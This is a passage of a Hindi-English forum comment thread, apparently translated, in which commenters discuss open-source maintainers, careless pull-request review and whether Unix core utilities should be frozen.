      अगर कोई library बनाता है और दूसरे लोग उसका इस्तेमाल शुरू कर देते हैं, तो क्या उसे अपनी identity disclose करने के लिए मजबूर किया जाएगा? maintainer को पैसे मिलेंगे?
  • अगर आपने closed या open, किसी भी तरह का development काम किया है, तो आपको पता होगा कि developers आधे-अधूरे आलस में PR को बस approve कर देते हैं। Linus Torvalds एक rare exception जैसा है, जो पूरा दिन issues point out करता रहता है

    • सहमत
      अगर कोई सच में इतनी सावधानी से ध्यान देने जितना कठोर हो, तो उसे अक्सर development रोकने वाली परेशानी माना जाता है। nitpicking करने के कारण team के साथ tension बनती है
      खुलकर कहूँ तो अभी मेरे साथ भी ऐसी ही स्थिति है। कठोर वाला मैं नहीं हूँ, बल्कि मैंने जिन developers को hire किया है उनमें से एक है। दुर्भाग्य से उसके meticulous व्यवहार को अच्छा response नहीं मिला, इसलिए उसे team से हटाना पड़ा। यह भी मददगार नहीं रहा कि वह Eastern Europe से है और feedback बहुत direct तरीके से देता है
  • Unix utilities लंबे समय से परखी जाती रही हैं। kernel और core utilities को freeze करके न बदलना बेहतर होगा, जब तक सचमुच ज़रूरत न हो
    अगर चीज़ टूटी नहीं है तो उसे ठीक मत करो। software empire नियंत्रण से बाहर दिखता है

    • सब कुछ टूटा हुआ है। आज किसी तरह काम चलाने के लिए किए गए quick hacks का 50 साल और लाखों developers में जमा हुआ नतीजा है
      कभी-कभी सही तरीके से बनी चमकदार मिसालें भी मिलती हैं, लेकिन कुल मिलाकर कहना सही होगा कि ऐसी चीज़ें पूरी तरह हाशिये पर धकेल दी गई हैं